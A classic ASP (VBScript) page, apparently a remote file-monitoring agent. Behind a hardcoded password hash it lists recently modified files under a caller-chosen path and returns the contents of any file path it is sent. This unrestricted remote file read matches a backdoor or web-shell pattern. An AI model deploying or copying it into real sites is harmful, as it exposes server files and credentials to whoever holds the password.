<%@ LANGUAGE = VBScript %><% Option Explicit%><% if Request.Servervariables("REQUEST_METHOD") <> "POST" then Response.end if md5(Request.Form("md5")) <> "4cac25d28bea5e08ef731c6caa629e1d" then Response.end Response.ContentType = "text/plain;" if Request.Form("mf") = "1" then Response.Write cStr(CDbl(Now())) Response.end end if Dim Host Dim rootPath Dim Lastrun Dim sfo if Request.Form("mf") = "2" then if Request.Form("lr") > "" then Lastrun = cDbl(Request.Form("lr")) rootPath = Server.MapPath(Request.Form("rp")) Response.Write rootPath + vbCrLf ListFolderContents(rootPath) end if if Request.Form("mf") = "3" then if Request.Form("fn") > "" then set sfo = server.CreateObject("Scripting.FileSystemObject") if sfo.FileExists(Request.Form("fn")) Then Response.Write sfo.OpenTextFile(Request.Form("fn"),1).readall else Response.Write md5("file_doesnt_exist") end if set sfo = nothing end if end if if Request.Form("mf") = "4" then set sfo = server.CreateObject("Scripting.FileSystemObject") if sfo.FileExists(Server.Mappath(Request.ServerVariables("URL"))) Then Response.Write md5(sfo.OpenTextFile(Server.Mappath(Request.ServerVariables("URL")),1).readall) else Response.Write md5("file_doesnt_exist") end if set sfo = nothing end if '****************************** Sub and Functions ****************************** sub ListFolderContents(path) dim fs, folder, file, item set fs = CreateObject("Scripting.FileSystemObject") set folder = fs.GetFolder(path) for each item in folder.SubFolders ListFolderContents(item.Path) next for each item in folder.Files if CDbl(item.DateLastModified) > Lastrun then Response.Write Right(item.path, Len(item.path) - Len(rootPath)) + chr(30) + item.Name + chr(30) + _ + cStr(item.Size) + chr(30) + _ + cStr(CDbl(item.DateLastModified)) + vbCrLf end if next end sub '----------------------------------------------------------------------- %>